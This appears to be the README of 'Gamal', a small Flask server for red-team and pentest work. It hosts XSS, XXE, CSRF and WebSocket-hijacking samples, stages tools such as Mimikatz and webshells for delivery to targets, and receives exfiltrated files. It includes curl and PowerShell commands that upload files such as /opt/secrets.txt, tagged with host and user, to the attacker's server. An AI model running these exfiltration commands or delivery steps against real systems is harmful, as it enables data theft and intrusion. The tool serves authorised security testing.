A tiny flask app for helping red-teamers, purple teamers, and pentesters in delivery, mass data exfiltration, and some attacks (OOB communications, SSRF, XXE, XSS, Session Hijacking, Session Riding).

cd /opt
git clone github.com/Fadavvi/Gamal
cd Gamal
sudo apt install python3-flask #or python3 -m pip install flask
python3 gamal.py

  -h, --help       show this help message and exit
  --log LOG        Path to the log file
  --port PORT      Port / HTTPs
  --ip IP          IP e.g.: 0.0.0.0 or 127.0.0.1
  --canary CANARY  Canary token
  --cert CERT      Your fullchain.pem file
  --key KEY        Your SSL private key file
  --host HOST      Your hostname or external IP address, Format: <FQDN>:<PORT>
  --delivery       Shows available files in the ./f path for delivery. Use it in combination with --host

Default configuration: IP binding: 0.0.0.0, Port: 1337, Log: gamal.log, Canary-String: booqbooqGamal

or

python3 gamal.py --ip <IPADDR> --port <PORTNUM> --log <LOGPATH> --canary <YourCanaryString> [--cert <FullChain> --key <PrivateKey>] [--host <FQDN>:<YourPort> --delivery]

Then you can use your IP & Port in your payloads.

Note: Add your files in /f folder ==> http://IP:PORT/f/<Your-FileName>

/f/xss.js XSS Sample function

/f/CORS.html CORS sample script

/f/CSRF.html CSRF sample page

/f/CSWSH.html Cross-Site WebSocket Hijacking (CSWSH) script

/f/meta.jpg XSS in Meta-data

/f/EBXXE.dtd XXE .dtd sample file

/f/xxe1.svg and /f/xxe2.svg XXE in SVG file

It downloads and categorizes the most common tools for delivering to the targets (Windows / Linux / macOS)

• Mimikatz
• SharpCollection -- Read the README file before you use it in your operations.
• Ligolo-ng -- agent and proxy
• PEASS-ng
• AzureHound
• Traitor
• Ncat
• Basic webshells (asp / aspx / jsp / php)

curl -k -F "file=@<PathToYourFile>" https://<GamalIP>:<GamalPort>/e/upload

Remove-Item alias:curl -ErrorAction SilentlyContinue; curl -k -F "file=@C:\<PathToYourFile>" https://<GamalIP>:<GamalPort>/e/upload

If you use user and host parameters in the upload URL, they will be used in the file name. It'll help you identify the owner of the files more easily. Example:

curl -k -F "file=@/opt/secrets.txt" "https://127.0.0.1:1337/e/upload?host=$(hostname)&user=$(id -un)"

outputfile:

received/{host}/{user}--{request.remote_addr}-{RealFileName}

This tool is intended for use only in a legal and legitimate manner. Unfortunately, there is no way to build offensive tools useful to the legitimate infosec industry while simultaneously preventing malicious actors from abusing them.

• DNS exfiltration capability
• ICMP exfiltration capability
• Improving the logging format
• Adding more tools to the helper script